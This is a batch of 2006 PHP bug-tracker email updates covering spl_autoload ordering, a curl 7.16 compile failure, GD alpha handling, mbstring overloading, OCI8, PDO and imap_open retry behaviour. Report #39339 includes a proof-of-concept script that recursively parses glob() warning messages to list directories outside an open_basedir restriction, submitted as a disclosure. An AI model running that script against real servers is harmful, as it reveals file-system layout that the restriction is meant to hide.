the stack). So it seems it is failing not if _NO_ autoloaders find the
class, but if the first 'spl_autoload' method does not find the class.
This has been tested on PHP (cli) 5.1.6 on both Gentoo and Ubuntu as
well as with the php5.2-200610311730 snapshot.
The issue is that the spl_autoload C code throws and exception if the
class is not found:
//php_spl.c - line 310:
if (!found) {
zend_throw_exception_ex(spl_ce_LogicException, 0 TSRMLS_CC,
Class %s could not be loaded, class_name);
}
This stops further excecution of any autoloaders. When commented out,
it works as I would expect it to, failing silently then continuing to
the next registered loader.
[2006-10-31 18:43:05] [EMAIL PROTECTED]
Thank you for taking the time to write to us, but this is not
a bug. Please double-check the documentation available at
http://www.php.net/manual/ and the instructions on how to report
a bug at http://bugs.php.net/how-to-report.php
The order is respected as you described. But if you are using a non
existing class the __autoload facility starts its work. And that means
spl\'s autoload stuff is being invoked. That then calls all registered
autoload functions one after another. And only if all fail you get an
error, where the error is generated from the spl autoload handling
system and send to the engine\'s autoload facility.
[2006-10-31 00:27:44] justin dot foell at sellingsource dot com
Description:
If the default spl_autoload function is at the top of the stack and the
class is not found, a Fatal error is triggered. I would think you would
want to fail silently, that way the fast C code can be used first, then
fall-back to your custom PHP Code. Then if the class is still not
found, let PHP deal with it.
The following code will work if the two spl_autoload_register lines are
switched.
Reproduce code:
---
?php
//MyClass.php
class MyClass
{
public function __construct()
{
echo __CLASS__, \n;
}
}
?
?php
//test.php
function myloader($class_name)
{
return @include_once($class_name . .php);
}
spl_autoload_register('spl_autoload');
spl_autoload_register('myloader');
print_r(spl_autoload_functions());
$myclass = new MyClass();
?
Expected result:
Array
(
[0] = spl_autoload
[1] = myloader
)
MyClass
Actual result:
--
Array
(
[0] = spl_autoload
[1] = myloader
)
Fatal error: Class 'MyClass' not found in
/virtualhosts/justin/test/test.php on line 12
--
Edit this bug report at http://bugs.php.net/?id=39313edit=1
#39354 [Opn-Csd]: PHP 5.2.0 x curl 7.16.0
ID: 39354 Updated by: [EMAIL PROTECTED] Reported By: fraga at abusar dot org -Status: Open +Status: Closed Bug Type: Compile Failure Operating System: Linux 2.6.18 PHP Version: 5.2.0 New Comment: This bug has been fixed in CVS. Snapshots of the sources are packaged every three hours; this change will be in the next snapshot. You can grab the snapshot at http://snaps.php.net/. Thank you for the report, and for helping us make PHP better. Previous Comments: [2006-11-03 00:48:36] fraga at abusar dot org Description: PHP 5.2.0 is incompatible with the new curl 7.16.0. The solution I found is to comment lines 372, 412 and 1164 from php-5.2.0/ext/curl/interface.c Actual result: -- /bin/sh /home/fraga/php-5.2.0/libtool --silent --preserve-dup-deps --mode=compile gcc -Iext/zlib/ -I/home/fraga/php-5.2.0/ext/zlib/ -DPHP_ATOM_INC -I/home/fraga/php-5.2.0/include -I/home/fraga/php-5.2.0/main -I/home/fraga/php-5.2.0 -I/usr/local/include/libxml2 -I/usr/local/include -I/home/fraga/php-5.2.0/ext/date/lib -I/home/fraga/php-5.2.0/ext/mbstring/oniguruma -I/home/fraga/php-5.2.0/ext/mbstring/libmbfl -I/home/fraga/php-5.2.0/ext/mbstring/libmbfl/mbfl -I/usr/local/include/mysql -I/home/fraga/php-5.2.0/TSRM -I/home/fraga/php-5.2.0/Zend-I/usr/include -O2 -march=athlon-xp -pipe -ftree-vectorize -mfpmath=sse -prefer-non-pic -c /home/fraga/php-5.2.0/ext/zlib/zlib_filter.c -o ext/zlib/zlib_filter.lo /bin/sh /home/fraga/php-5.2.0/libtool --silent --preserve-dup-deps --mode=compile gcc -Iext/ctype/ -I/home/fraga/php-5.2.0/ext/ctype/ -DPHP_ATOM_INC -I/home/fraga/php-5.2.0/include -I/home/fraga/php-5.2.0/main -I/home/fraga/php-5.2.0 -I/usr/local/include/libxml2 -I/usr/local/include -I/home/fraga/php-5.2.0/ext/date/lib -I/home/fraga/php-5.2.0/ext/mbstring/oniguruma -I/home/fraga/php-5.2.0/ext/mbstring/libmbfl -I/home/fraga/php-5.2.0/ext/mbstring/libmbfl/mbfl -I/usr/local/include/mysql -I/home/fraga/php-5.2.0/TSRM -I/home/fraga/php-5.2.0/Zend-I/usr/include -O2 -march=athlon-xp -pipe -ftree-vectorize -mfpmath=sse -prefer-non-pic -c /home/fraga/php-5.2.0/ext/ctype/ctype.c -o ext/ctype/ctype.lo /bin/sh /home/fraga/php-5.2.0/libtool --silent --preserve-dup-deps --mode=compile gcc -Iext/curl/ -I/home/fraga/php-5.2.0/ext/curl/ -DPHP_ATOM_INC -I/home/fraga/php-5.2.0/include -I/home/fraga/php-5.2.0/main -I/home/fraga/php-5.2.0 -I/usr/local/include/libxml2 -I/usr/local/include -I/home/fraga/php-5.2.0/ext/date/lib -I/home/fraga/php-5.2.0/ext/mbstring/oniguruma -I/home/fraga/php-5.2.0/ext/mbstring/libmbfl -I/home/fraga/php-5.2.0/ext/mbstring/libmbfl/mbfl -I/usr/local/include/mysql -I/home/fraga/php-5.2.0/TSRM -I/home/fraga/php-5.2.0/Zend-I/usr/include -O2 -march=athlon-xp -pipe -ftree-vectorize -mfpmath=sse -prefer-non-pic -c /home/fraga/php-5.2.0/ext/curl/interface.c -o ext/curl/interface.lo /home/fraga/php-5.2.0/ext/curl/interface.c: In function 'zm_startup_curl': /home/fraga/php-5.2.0/ext/curl/interface.c:372: error: 'CURLOPT_FTPASCII' undeclared (first use in this function) /home/fraga/php-5.2.0/ext/curl/interface.c:372: error: (Each undeclared identifier is reported only once /home/fraga/php-5.2.0/ext/curl/interface.c:372: error: for each function it appears in.) /home/fraga/php-5.2.0/ext/curl/interface.c:412: error: 'CURLOPT_PASSWDFUNCTION' undeclared (first use in this function) /home/fraga/php-5.2.0/ext/curl/interface.c: In function 'zif_curl_copy_handle': /home/fraga/php-5.2.0/ext/curl/interface.c:1164: error: 'CURLOPT_PASSWDDATA' undeclared (first use in this function) make: *** [ext/curl/interface.lo] Error 1 -- Edit this bug report at http://bugs.php.net/?id=39354edit=1
#39339 [Opn-Bgs]: Bug in warning message when glob() function access to unallowed path.
ID: 39339
Updated by: [EMAIL PROTECTED]
Reported By: anton dot kirsanov at gmail dot com
-Status: Open
+Status: Bogus
Bug Type: Safe Mode/open_basedir
Operating System: ALL
PHP Version: 5.1.6
New Comment:
Thank you for taking the time to write to us, but this is not
a bug. Please double-check the documentation available at
http://www.php.net/manual/ and the instructions on how to report
a bug at http://bugs.php.net/how-to-report.php
Everytime PHP fails to open a file due to safe_mode/
open_basedir it returns an error saying cannot open so so
due to safe_mode.
You don't gain the ability to write to files and/or open them,
so there is no security issue here.
Previous Comments:
[2006-11-01 22:30:25] anton dot kirsanov at gmail dot com
Description:
When open_basedir is enabled, glob() function don`t show files in
unallowed directories, however in warning message present file or
directory name that access is denied.
If you recursive parse a warning messages for extract pathes, you a get
listing of unallowed directories (see POC code).
I`m, tested this bug on PHP 5.1.6 and 4.4.4, everywhere the result is
equal.
Reproduce code:
---
?php
// -
// POC by Kirsanov Anton ( anton.kirsanov[at]gmail.com )
//
// Description:
// Bug in warning message for glob() function allow show listing
unallowed directories when open_basedir is enabled.
//
// Risk:
// Possible directory listing, when open_basedir is enabled.
// Testing on PHP 4.4.4, 5.1.6.
error_reporting(E_ALL);
ini_set(display_errors, 0);
ini_set(track_errors, 1);
if(!ini_get('open_basedir'))
die('open_basedir not present');
$chars =
._-1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ;
$z = array();
get_c(/, $z);
// show contents of root directory
print_r($z);
function get_c($path, $o)
{
global $chars;
for($i=0; $i strlen($chars); $i++)
{
$p = $path . $chars[$i];
$r = glob($p . *);
if(!$r $php_errormsg)
{
if((preg_match(/open\_basedir restriction
in effect\.
File\((.*)\) is/iU, $php_errormsg, $t) ||
preg_match(/is not allowed to access
(.*) owned/iU,
$php_errormsg, $t)) !$o[$t[1]])
{
$o[$t[1]] = $t[2];
get_c($p, $o);
}
}
}
}
?
Expected result:
?php
glob(/*);
?
Warning: glob(): open_basedir restriction in effect.
is not allowed to access (/) owned ...
Actual result:
--
?php
glob(/*);
?
Warning: glob(): open_basedir restriction in effect.
is not allowed to access (/bin/) owned ...
Warning message has been disclose path - /bin/
--
Edit this bug report at http://bugs.php.net/?id=39339edit=1
#39353 [Opn-Asn]: more imagecopyresized() alpha problems
ID: 39353
Updated by: [EMAIL PROTECTED]
Reported By: seth at pricepages dot org
-Status: Open
+Status: Assigned
Bug Type: GD related
Operating System: Mac 10.4
PHP Version: 5CVS-2006-11-02 (snap)
-Assigned To:
+Assigned To: pierre
Previous Comments:
[2006-11-03 00:23:48] seth at pricepages dot org
Description:
I'm not sure how many bugs are hidden here, but I thought
this should be submitted.
imagecopyresized() is ignoring alpha the blending mode.
Specifically, in ext/gd/libgd/gd.c line 2376 or so, there is
this code that skips processing transparent pixels:
tmp = gdImageGetPixel (src, x, y);
if (gdImageGetTransparent (src) == tmp) {
tox += stx[x - srcX];
continue;
}
But if the alpha blending is set to false, you want to copy
the transparent pixels. So commenting out this if statement
removes one bug. There is other similar code in this loop,
so maybe it should all be removed?
Unfortunately, all result pixels still opaque, when the
source image pixels are partially transparent. So this code
does not fix the problem.
Reproduce code:
---
?php
$small = imagecreatefrompng(
'http://pricepages.org/temp/partialTrans.png');
$width = 300;
$height = 300;
$srcW = imagesx($small);
$srcH = imagesy($small);
$img = imagecreatetruecolor($width, $height);
$red = imagecolorresolve($img,255,0,0);
imagefill($img, 0,0, $red);
imagealphablending($img, false);
imagecopyresized($img, $small, 0,0, 0,0, $width, $height, $srcW,
$srcH);
header('Content-Type: image/png');
imagepng($img);
?
Expected result:
The image is filled with red, and a partially transparent
black-and-white image is composited on top of it. Because
alpha blending is set to false, there should be no red showing
in the final image. (bug#1, squashed above)
Also, because the greyscale image should have partial
transparency, there should be a gradient between black and
red, but there is none. It is only black or only red. (bug#2)
--
Edit this bug report at http://bugs.php.net/?id=39353edit=1
#39361 [Opn-Csd]: mbstring function overloading - done although not activated
ID: 39361
Updated by: [EMAIL PROTECTED]
Reported By: christoph at ziegenberg dot de
-Status: Open
+Status: Closed
Bug Type: mbstring related
Operating System: Win XP SP 2
PHP Version: 5.2.0
New Comment:
This bug has been fixed in CVS.
Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
Thank you for the report, and for helping us make PHP better.
Previous Comments:
[2006-11-03 18:06:52] christoph at ziegenberg dot de
again the summary problem...
[2006-11-03 18:06:06] christoph at ziegenberg dot de
The value returned by ini_get() is correct (also the phpinfo() output),
but the behavior is wrong... I tested several other ini settings, but
the error seems to occur only with the mbstring function overloading.
[2006-11-03 17:28:47] christoph at ziegenberg dot de
Oh... I got the reason for it... really bad bug, might be critical and
influence other ini setting to:
1) run the script - it works. you get the error message for mb_strstr()
only:
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 4
2) run a script in another directory with mbstring function overloading
activate* - the result is as expected:
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 3
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 4
3) now run the first script (NOT in the created directory!) and you get
the same error messages!
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 3
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 4
So the overloading setting is activated for the wrong directory!
* via .htaccess:
php_value mbstring.func_overload 6
[2006-11-03 14:55:55] christoph at ziegenberg dot de
wrong summary
[2006-11-03 14:54:41] christoph at ziegenberg dot de
Description:
I got a new error message in PHP 5.2 when using mb_strstr() with an
empty string as haystack. So I wrote a testfile to compare the
behaviour of strstr() with mb_strstr().
Although mbstring function overloading is not enabled and the phpinfo()
output (in the same file, so there are no more changes via .htaccess)
says that all mbstring settings are the default settings, strstr() is
overloaded with mb_strstr().
phpinfo output:
---
Multibyte Support enabled
Multibyte string engine libmbfl
Multibyte (japanese) regex support enabled
Multibyte regex (oniguruma) version 4.4.4
Multibyte regex (oniguruma) backtrack check On
mbstring extension makes use of streamable kanji code filter and
converter, which is distributed under the GNU Lesser General Public
License version 2.1.
Directive Local Value Master Value
mbstring.detect_order no valueno value
mbstring.encoding_translation Off Off
mbstring.func_overload 0 0
mbstring.http_input passpass
mbstring.http_outputpasspass
mbstring.internal_encoding no valueno value
mbstring.language neutral neutral
mbstring.strict_detection Off Off
mbstring.substitute_character no valueno value
---
Reproduce code:
---
?php
//phpinfo();
strstr('', ',');
mb_strstr('', ',');
?
Expected result:
Warning: strstr() [function.strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 3
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 4
Actual result:
--
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 3
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in
W:\www\strstr\strstr.php on line 4
--
Edit this bug report at http://bugs.php.net/?id=39361edit=1
#39364 [Opn-Bgs]: mb_strstr() behaviour differs from strstr()
ID: 39364
Updated by: [EMAIL PROTECTED]
Reported By: christoph at ziegenberg dot de
-Status: Open
+Status: Bogus
Bug Type: mbstring related
Operating System: Win XP SP 2
PHP Version: 5.2.0
New Comment:
Please do not submit the same bug more than once. An existing
bug report already describes this very problem. Even if you feel
that your issue is somewhat different, the resolution is likely
to be the same.
Thank you for your interest in PHP.
dupe of 39361
Previous Comments:
[2006-11-03 17:38:23] christoph at ziegenberg dot de
Description:
as described in the more important bug #39361 i compared strstr() and
mb_strstr().
mb_strstr() produces the following error when using an empty haystack:
Warning: mb_strstr() [function.mb-strstr]:
Empty haystack in X on line Y
but strstr() doesn't.
Reproduce code:
---
?php
strstr('', ',');
mb_strstr('', ',');
?
Expected result:
no error message - because haystack does not contain needle, so the
function should return false, as described in the documentation. the
different behavior produces a lot of errors when using function
overloading (although i know using it is not a good idea... ;).
Actual result:
--
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in X on line
Y
--
Edit this bug report at http://bugs.php.net/?id=39364edit=1
#39359 [Opn-Bgs]: Server API says 2.0 instead of 2.0
ID: 39359 Updated by: [EMAIL PROTECTED] Reported By: OlafvdSpek at Gmail dot Com -Status: Open +Status: Bogus Bug Type: Apache2 related Operating System: Windows XP PHP Version: 5.2.0 New Comment: Thank you for taking the time to write to us, but this is not a bug. Please double-check the documentation available at http://www.php.net/manual/ and the instructions on how to report a bug at http://bugs.php.net/how-to-report.php The sapi name does not change with the Apache version. It is the same sapi, 2.0 refers to major Apache version. Previous Comments: [2006-11-03 13:17:59] OlafvdSpek at Gmail dot Com Description: Hi, phpinfo() says Server API: Apache 2.0 Handler although it's running on 2.2.3. Reproduce code: --- phpinfo(); Expected result: Server API: Apache 2.2 Handler Actual result: -- Server API: Apache 2.0 Handler -- Edit this bug report at http://bugs.php.net/?id=39359edit=1
#39198 [NoF-Opn]: is_dir seem to have permission problems
ID: 39198 User updated by: php dot spam at frogblender dot net Reported By: php dot spam at frogblender dot net -Status: No Feedback +Status: Open Bug Type: Directory function related Operating System: Windows 2003 PHP Version: 5.1.6 New Comment: You've already got the reproducing script in my original post. Previous Comments: [2006-10-31 01:00:01] php-bugs at lists dot php dot net No feedback was provided for this bug for over a week, so it is being suspended automatically. If you are able to provide the information that was originally requested, please do so and change the status of the bug back to Open. [2006-10-23 12:43:25] [EMAIL PROTECTED] Thank you for this bug report. To properly diagnose the problem, we need a short but complete example script to be able to reproduce this bug ourselves. A proper reproducing script starts with ?php and ends with ?, is max. 10-20 lines long and does not require any external resources such as databases, etc. If the script requires a database to demonstrate the issue, please make sure it creates all necessary tables, stored procedures etc. Please avoid embedding huge scripts into the report. [2006-10-23 12:27:01] php dot spam at frogblender dot net There's nothing wrong with our server, thank you. I happened to remember an old Windows 2000 server I could test this on. The bug was reproducible with PHP 5.0 and 5.2 RC6, no surprise there. Was using IIS with default user, php5isapi.dll, unmodified php.ini Tony2001, perhaps you shouldn't be managing bugs related to Windows if you don't have the equipment to verify them. [2006-10-19 16:09:35] [EMAIL PROTECTED] Sorry, we can't go back to the past and fix it on your server. [2006-10-19 15:38:54] php dot spam at frogblender dot net Sorry, but I don't care whether this bug will be fixed or not. The server is not mine to mess with so I can't install another PHP version. The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/39198 -- Edit this bug report at http://bugs.php.net/?id=39198edit=1
#39362 [Opn-Bgs]: imap_open retries 3 times on failed auth
ID: 39362
Updated by: [EMAIL PROTECTED]
Reported By: askalski at gmail dot com
-Status: Open
+Status: Bogus
Bug Type: IMAP related
Operating System: Linux
PHP Version: 5CVS-2006-11-03 (snap)
New Comment:
Sorry, but your problem does not imply a bug in PHP itself. For a
list of more appropriate places to ask for help using PHP, please
visit http://www.php.net/support.php as this bug system is not the
appropriate forum for asking support questions. Due to the volume
of reports we can not explain in detail here why your report is not
a bug. The support channels will be able to provide an explanation
for you.
Thank you for your interest in PHP.
PHP does not control the number of retries performed, that is
something the imap (c-client) library controls.
Previous Comments:
[2006-11-03 15:47:18] askalski at gmail dot com
Description:
imap_open will retry 3 times on bad credentials. Some IMAP or POP
servers delay on successive bad logins, making a failed imap_open take
very long. Worse, some servers will lock the user out because of
repeated failed login attempts.
Somewhere during module initialization, this call needs to be made:
mail_parameters(NIL, SET_MAXLOGINTRIALS, (void *) 1);
Reproduce code:
---
imap_open({mailserver/pop}, user, badpass);
Expected result:
It should try logging in only once.
Actual result:
--
It tries logging in three times (watch with a packet sniffer or
strace).
write(0, AUTH LOGIN\r\n, 12) = 12
...
read(0, -ERR Bad authentication\r\n, 8192) = 25
write(0, AUTH LOGIN\r\n, 12) = 12
...
read(0, -ERR Bad authentication\r\n, 8192) = 25
write(0, AUTH LOGIN\r\n, 12) = 12
...
read(0, -ERR Bad authentication\r\n, 8192) = 25
write(0, QUIT\r\n, 6) = 6
read(0, +OK Sayonara\r\n, 8192) = 14
write(1, \nWarning: imap_open(): Couldn\'t ..., 104) = 104
--
Edit this bug report at http://bugs.php.net/?id=39362edit=1
#39360 [Opn-Bgs]: unable to load dynamic library
ID: 39360 Updated by: [EMAIL PROTECTED] Reported By: marc dot lazzaro at st dot com -Status: Open +Status: Bogus Bug Type: OCI8 related Operating System: Win XP PHP Version: 5.2.0 New Comment: Please do not submit the same bug more than once. An existing bug report already describes this very problem. Even if you feel that your issue is somewhat different, the resolution is likely to be the same. Thank you for your interest in PHP. dupe of bug #39096 Previous Comments: [2006-11-03 14:39:31] crescentfreshpot at gmail dot com You need oracle instant client installed. See bug #39096 [2006-11-03 13:26:12] marc dot lazzaro at st dot com Description: Hi, Trying to upgrade from 5.1.4 I'm facing an issue with php_oci8.dll module bundled with the distribution package: php 1136 - PHP startup: unable to load dynamic library C:/Program Files/Php/ext\php_oci8.dll. My system works on Windows XP/Apache2.2.2 and the Oracle8i client version is 8.1.7.0.0. I copied my old php.ini without any modification. Rgds -- Edit this bug report at http://bugs.php.net/?id=39360edit=1
#39358 [Opn-Csd]: INSTALL_HEADERS contains incorrect reference to php_filter.h
ID: 39358 Updated by: [EMAIL PROTECTED] Reported By: kennyz at nycap dot rr dot com -Status: Open +Status: Closed Bug Type: *Compile Issues Operating System: Linux PHP Version: 5.2.0 New Comment: This bug has been fixed in CVS. Snapshots of the sources are packaged every three hours; this change will be in the next snapshot. You can grab the snapshot at http://snaps.php.net/. Thank you for the report, and for helping us make PHP better. Previous Comments: [2006-11-03 10:51:39] kennyz at nycap dot rr dot com Description: The ./configure script for PHP 5.2.0 contains a small error that affects the directory layout after a make install. On line 32682 of configure, the line: for header_file in $ext_srcdir/php_filter.h; do causes $header_file to contain the full path to php_filter.h, instead of a relative path like all of the other $header_file settings throughout ./configure. Therefore, if $ext_srcdir is /usr/local/src/php-5.2.0, the installation location for the filter extension ends up being: $(INSTALL_ROOT)/usr/include/php/usr/local/src/php-5.2.0/ext/filter, which is obviously not correct. The Makefile that was generated from ./configure clearly shows the problem: INSTALL_HEADERS = ext/libxml/php_libxml.h ext/pcre/php_pcre.h ext/pcre/pcrelib/ ext/date/php_date.h ext/date/lib/timelib.h ext/date/lib/timelib_structs.h ext/date/lib/timelib_config.h ext/dom/xml_common.h /usr/local/src/php-5.2.0/ext/filter/php_filter.h ext/gd/ ext/gd/libgd/ ext/hash/php_hash.h ext/hash/php_hash_md.h . The full path to php_filter.h is caused by the mistake on line 32682 in ./configure. The correct line in ./configure should be: for header_file in ext/filter/php_filter.h; do This fixes the problem in the resulting Makefile, and therefore fixes the issue with the bad layout after make install. -- Edit this bug report at http://bugs.php.net/?id=39358edit=1
#39352 [Opn-Asn]: oci_close fails with global keyword
ID: 39352
Updated by: [EMAIL PROTECTED]
Reported By: david at acz dot org
-Status: Open
+Status: Assigned
Bug Type: OCI8 related
Operating System: SuSE Linux 9.3
PHP Version: 5.2.0
-Assigned To:
+Assigned To: tony2001
Previous Comments:
[2006-11-02 22:54:38] david at acz dot org
Description:
oci_close() fails if the connection resource is a global accessed via
the global keyword, but works if accessed using the $GLOBALS array.
Reproduce code:
---
$conn = oci_connect(DB_USER, DB_PASS, DB_NAME);
var_dump($conn);
global_keyword();
global_array();
function global_keyword()
{
global $conn;
var_dump($conn);
oci_close($conn); // this seems to do nothing
var_dump($conn);
}
function global_array()
{
var_dump($GLOBALS[conn]);
oci_close($GLOBALS[conn]); // this works
var_dump($GLOBALS[conn]);
}
Expected result:
resource(8) of type (oci8 connection)
resource(8) of type (oci8 connection)
NULL
NULL
PHP Warning: oci_close() expects parameter 1 to be resource, null
given
NULL
Actual result:
--
resource(8) of type (oci8 connection)
resource(8) of type (oci8 connection)
resource(8) of type (oci8 connection)
resource(8) of type (oci8 connection)
NULL
--
Edit this bug report at http://bugs.php.net/?id=39352edit=1
#39331 [Opn-Bgs]: prepare crash without any error
ID: 39331
Updated by: [EMAIL PROTECTED]
Reported By: guidi dot luca at gmail dot com
-Status: Open
+Status: Bogus
Bug Type: PDO related
Operating System: Linux 2.6.16.13-4-smp oSuSE10.1
PHP Version: 5CVS-2006-11-01 (snap)
New Comment:
Thank you for taking the time to write to us, but this is not
a bug. Please double-check the documentation available at
http://www.php.net/manual/ and the instructions on how to report
a bug at http://bugs.php.net/how-to-report.php
PDO class failed to instantiate (connection failed) so you
don't have a PDO object. Calling methods from a non-object
results in a fatal error.
Previous Comments:
[2006-11-01 13:38:17] guidi dot luca at gmail dot com
Description:
PDO prepare function crash but don't display any error.
i use:
PDO Driver for MySQL, client library version5.0.18
Reproduce code:
---
$pdo = new PDO(mysql:host=localhost;dbname=myDb,myUser,myPass);
$stmt = $pdo-prepare('select username from users where id = ?');
$stmt-execute( array(123) );
$results = $stmt-fetchAll();
Expected result:
A statement execution
Actual result:
--
Fatal error: Call to a member function execute() on a non-object in
/srv/www/htdocs/index.php on line 21
--
Edit this bug report at http://bugs.php.net/?id=39331edit=1
#39364 [Bgs-Opn]: mb_strstr() behavior differs from strstr()
ID: 39364
User updated by: christoph at ziegenberg dot de
-Summary: mb_strstr() behaviour differs from strstr()
Reported By: christoph at ziegenberg dot de
-Status: Bogus
+Status: Open
Bug Type: mbstring related
Operating System: Win XP SP 2
PHP Version: 5.2.0
New Comment:
No, that is not the same bug!
Bug #39361 is about that the ini settings for function overloading are
cached and still active when changing the directory.
Bug #39364 is about the different behavior of mb_strstr() and
strstr().
I found bug number one when checking the second one, but that not the
same bug... so which one did you fix?
Previous Comments:
[2006-11-03 19:56:40] [EMAIL PROTECTED]
Please do not submit the same bug more than once. An existing
bug report already describes this very problem. Even if you feel
that your issue is somewhat different, the resolution is likely
to be the same.
Thank you for your interest in PHP.
dupe of 39361
[2006-11-03 17:38:23] christoph at ziegenberg dot de
Description:
as described in the more important bug #39361 i compared strstr() and
mb_strstr().
mb_strstr() produces the following error when using an empty haystack:
Warning: mb_strstr() [function.mb-strstr]:
Empty haystack in X on line Y
but strstr() doesn't.
Reproduce code:
---
?php
strstr('', ',');
mb_strstr('', ',');
?
Expected result:
no error message - because haystack does not contain needle, so the
function should return false, as described in the documentation. the
different behavior produces a lot of errors when using function
overloading (although i know using it is not a good idea... ;).
Actual result:
--
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in X on line
Y
--
Edit this bug report at http://bugs.php.net/?id=39364edit=1
#39364 [Opn-Csd]: mb_strstr() behavior differs from strstr()
ID: 39364
Updated by: [EMAIL PROTECTED]
Reported By: christoph at ziegenberg dot de
-Status: Open
+Status: Closed
Bug Type: mbstring related
Operating System: Win XP SP 2
PHP Version: 5.2.0
New Comment:
This bug has been fixed in CVS.
Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
Thank you for the report, and for helping us make PHP better.
Previous Comments:
[2006-11-03 20:19:28] christoph at ziegenberg dot de
No, that is not the same bug!
Bug #39361 is about that the ini settings for function overloading are
cached and still active when changing the directory.
Bug #39364 is about the different behavior of mb_strstr() and
strstr().
I found bug number one when checking the second one, but that not the
same bug... so which one did you fix?
[2006-11-03 19:56:40] [EMAIL PROTECTED]
Please do not submit the same bug more than once. An existing
bug report already describes this very problem. Even if you feel
that your issue is somewhat different, the resolution is likely
to be the same.
Thank you for your interest in PHP.
dupe of 39361
[2006-11-03 17:38:23] christoph at ziegenberg dot de
Description:
as described in the more important bug #39361 i compared strstr() and
mb_strstr().
mb_strstr() produces the following error when using an empty haystack:
Warning: mb_strstr() [function.mb-strstr]:
Empty haystack in X on line Y
but strstr() doesn't.
Reproduce code:
---
?php
strstr('', ',');
mb_strstr('', ',');
?
Expected result:
no error message - because haystack does not contain needle, so the
function should return false, as described in the documentation. the
different behavior produces a lot of errors when using function
overloading (although i know using it is not a good idea... ;).
Actual result:
--
Warning: mb_strstr() [function.mb-strstr]: Empty haystack in X on line
Y
--
Edit this bug report at http://bugs.php.net/?id=39364edit=1
#39361 [Csd-Opn]: mbstring function overloading - done although not activated
ID: 39361 Updated by: [EMAIL PROTECTED] Reported By: christoph at ziegenberg dot de -Status: Closed +Status: Open Bug Type: mbstring related Operating System: Win XP SP 2 PHP Version: 5.2.0 New Comment: Still need to look into this one. Previous Comments: [2006-11-03 19:56:26] [EMAIL PROTECTED] This bug has been fixed in CVS. Snapshots of the sources are packaged every three hours; this change will be in the next snapshot. You can grab the snapshot at http://snaps.php.net/. Thank you for the report, and for helping us make PHP better. [2006-11-03 18:06:52] christoph at ziegenberg dot de again the summary problem... [2006-11-03 18:06:06] christoph at ziegenberg dot de The value returned by ini_get() is correct (also the phpinfo() output), but the behavior is wrong... I tested several other ini settings, but the error seems to occur only with the mbstring function overloading. [2006-11-03 17:28:47] christoph at ziegenberg dot de Oh... I got the reason for it... really bad bug, might be critical and influence other ini setting to: 1) run the script - it works. you get the error message for mb_strstr() only: Warning: mb_strstr() [function.mb-strstr]: Empty haystack in W:\www\strstr\strstr.php on line 4 2) run a script in another directory with mbstring function overloading activate* - the result is as expected: Warning: mb_strstr() [function.mb-strstr]: Empty haystack in W:\www\strstr\strstr.php on line 3 Warning: mb_strstr() [function.mb-strstr]: Empty haystack in W:\www\strstr\strstr.php on line 4 3) now run the first script (NOT in the created directory!) and you get the same error messages! Warning: mb_strstr() [function.mb-strstr]: Empty haystack in W:\www\strstr\strstr.php on line 3 Warning: mb_strstr() [function.mb-strstr]: Empty haystack in W:\www\strstr\strstr.php on line 4 So the overloading setting is activated for the wrong directory! * via .htaccess: php_value mbstring.func_overload 6 [2006-11-03 14:55:55] christoph at ziegenberg dot de wrong summary The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/39361 -- Edit this bug report at http://bugs.php.net/?id=39361edit=1
#39362 [Bgs-Opn]: imap_open retries 3 times on failed auth
ID: 39362
User updated by: askalski at gmail dot com
Reported By: askalski at gmail dot com
-Status: Bogus
+Status: Open
Bug Type: IMAP related
Operating System: Linux
PHP Version: 5CVS-2006-11-03 (snap)
New Comment:
I'm sorry if I did not make this clear enough in the original bug
report.
This is very much a bug in PHP. While you're correct in saying
c-client controls the number of retries it makes, it's up to PHP to
change MAXLOGINTRIALS from its default of 3 to 1.
There is no way to work around this from a PHP script, because the
mail_parameters() function is not exposed through the PHP imap module.
The only way is for PHP to make a mail_parameters() call in
ext/imap/php_imap.c during module initialization.
Previous Comments:
[2006-11-03 20:03:22] [EMAIL PROTECTED]
Sorry, but your problem does not imply a bug in PHP itself. For a
list of more appropriate places to ask for help using PHP, please
visit http://www.php.net/support.php as this bug system is not the
appropriate forum for asking support questions. Due to the volume
of reports we can not explain in detail here why your report is not
a bug. The support channels will be able to provide an explanation
for you.
Thank you for your interest in PHP.
PHP does not control the number of retries performed, that is
something the imap (c-client) library controls.
[2006-11-03 15:47:18] askalski at gmail dot com
Description:
imap_open will retry 3 times on bad credentials. Some IMAP or POP
servers delay on successive bad logins, making a failed imap_open take
very long. Worse, some servers will lock the user out because of
repeated failed login attempts.
Somewhere during module initialization, this call needs to be made:
mail_parameters(NIL, SET_MAXLOGINTRIALS, (void *) 1);
Reproduce code:
---
imap_open({mailserver/pop}, user, badpass);
Expected result:
It should try logging in only once.
Actual result:
--
It tries logging in three times (watch with a packet sniffer or
strace).
write(0, AUTH LOGIN\r\n, 12) = 12
...
read(0, -ERR Bad authentication\r\n, 8192) = 25
write(0, AUTH LOGIN\r\n, 12) = 12
...
read(0, -ERR Bad authentication\r\n, 8192) = 25
write(0, AUTH LOGIN\r\n, 12) = 12
...
read(0, -ERR Bad authentication\r\n, 8192) = 25
write(0, QUIT\r\n, 6) = 6
read(0, +OK Sayonara\r\n, 8192) = 14
write(1, \nWarning: imap_open(): Couldn\'t ..., 104) = 104
--
Edit this bug report at http://bugs.php.net/?id=39362edit=1
